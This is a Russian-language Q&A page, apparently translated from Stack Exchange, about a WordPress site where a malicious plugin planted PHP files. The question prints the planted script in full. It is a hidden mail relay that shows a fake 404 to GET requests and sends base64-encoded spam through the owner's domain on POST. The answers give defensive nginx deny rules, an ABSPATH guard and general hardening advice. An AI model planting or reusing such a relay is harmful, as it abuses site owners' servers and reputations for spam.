WordPress отключить прямой доступ к файлам в пути установки WordPress

Вопрос или проблема

Я хочу добавить функцию безопасности на свой сайт WordPress, чтобы остановить прямой доступ к файлам, добавленным в корень установки WordPress. Недавно я обнаружил, что вредоносный плагин добавил несколько файлов для отправки электронной почты. Ниже приведен вредоносный php код.

<?php

$method = $_SERVER['REQUEST_METHOD'];

switch ($method) {
  case 'GET':
    //Здесь обрабатывается GET-запрос
    echo '###ERROR 404';
exit;
    break;
  case 'POST':
    //Здесь обрабатывается POST-запрос

foreach($_POST as $key => $x_value) {

$data = base64_decode($x_value) ;
$to_data = explode('|',  $data);

$to = $to_data[0];
$x_subject = $to_data[1];
$x_body = $to_data[2];
$from_user = $to_data[3];
$from_email = $to_data[4];
$header = $to_data[5];

$jfnbrsjfq =  mail($to, $x_subject, $x_body, $header);
if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} 

}
}

В этом случае хакер будет передавать некоторые параметры для отправки электронной почты, используя мой домен, при помощи этого кода.

Я думал, может быть, есть способ отключить прямой доступ к этим файлам для отправки электронной почты или любой другой вредоносной активности. Есть ли способ ограничить использование nginx? Какой лучший подход в этой ситуации? Я буду благодарен за любые полезные советы.

Посмотрите возможность добавления постоянной проверки в верхней части скрипта:

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Завершить, если доступ происходит напрямую
}

Смотрите: https://stackoverflow.com/questions/43212340/what-is-meant-by-if-defined-abspath

Ответ или решение

Как отключить прямой доступ к файлам в каталоге установки WordPress

Введение

Одной из важнейших задач при управлении сайтом на WordPress является обеспечение безопасности. Недавняя угроза, связанная с установкой вредоносных плагинов, может привести к добавлению файлов, которые могут быть использованы для несанкционированного доступа или совершения вредоносных действий, таких как отправка электронных писем от имени вашего домена. Рассмотрим, как можно предотвратить прямой доступ к таким файлам через настройку сервера и изменения в коде.

Обнаружение проблемы

Пример приведенного вами PHP-кода подразумевает, что зловредный код использует метод POST для выполнения своих функций. Логика кода включает декодирование и отправку данных на указанный адрес электронной почты. Это говорит о том, что важно ограничить прямой доступ к файлам, которые могут выполнять такие действия.

Защита через серверную конфигурацию Nginx

Чтобы предотвратить прямой доступ к определенным файлам, вы можете использовать настройки вашего веб-сервера Nginx. Вот несколько подходов:

  1. Запретить доступ к PHP-файлам в определенных директориях: Вы можете создать блок, который будет запрещать доступ к файлам с определенными расширениями (например, .php) в каталоге wp-content и других директориях, где могут быть размещены вредоносные файлы.

    Вот пример конфигурации для вашего файла nginx:

    location ~* /wp-content/uploads/.*\.php$ {
       deny all;
    }

    Это правило отказывает всем попыткам доступа к PHP-файлам в каталоге uploads.

  2. Добавить обработку ошибок: Убедитесь, что при возникновении ошибки (например, при попытке доступа к несуществующему файлу) сервер возвращает 404, что затруднит злоумышленникам понимание структуры вашего сайта.

Защита на уровне кода

Кроме настройки веб-сервера, вы также можете внести изменения в сам PHP-код, чтобы улучшить безопасность вашего WordPress-сайта:

  1. Проверка доступа по константе: Добавьте проверку в верхней части ваших PHP-файлов, чтобы убедиться, что скрипт вызывается из корректного контекста.

    if ( ! defined( 'ABSPATH' ) ) {
       exit; // Выйти, если доступ осуществляется напрямую
    }

    Это предотвратит прямой доступ к вашим скриптам, если они вызываются извне.

  2. Удаление или карантин для подозрительных файлов: Если вы обнаружили недобросовестные файлы или плагины, удалите их немедленно и проверьте остальную часть сайта на наличие других уязвимостей.

Рекомендации по безопасности

Для дальнейшего укрепления безопасности вашего WordPress-сайта, рекомендуется:

  • Регулярно обновлять WordPress и плагины: Убедитесь, что вы используете актуальные версии всех компонентов, чтобы минимизировать уязвимости.

  • Использовать плагины безопасности: Плагины, такие как Wordfence или Sucuri, могут предоставить дополнительные уровни защиты, включая мониторинг файлов и ограничение доступа.

  • Создание регулярных резервных копий: Это позволит вам быстро восстановить сайт в случае его компрометации.

Заключение

Обеспечение безопасности вашего WordPress-сайта требует комплексного подхода, включающего защиту на уровне сервера и кода. Приняв меры по ограничению доступа к файловой системе и корректируя код скриптов, вы значительно уменьшите риск несанкционированного доступа и эксплуатации уязвимостей. Не забывайте о регулярных обновлениях и мониторинге состояния вашего сайта, чтобы сохранить его в безопасности.

Оцените материал
Добавить комментарий

Капча загружается...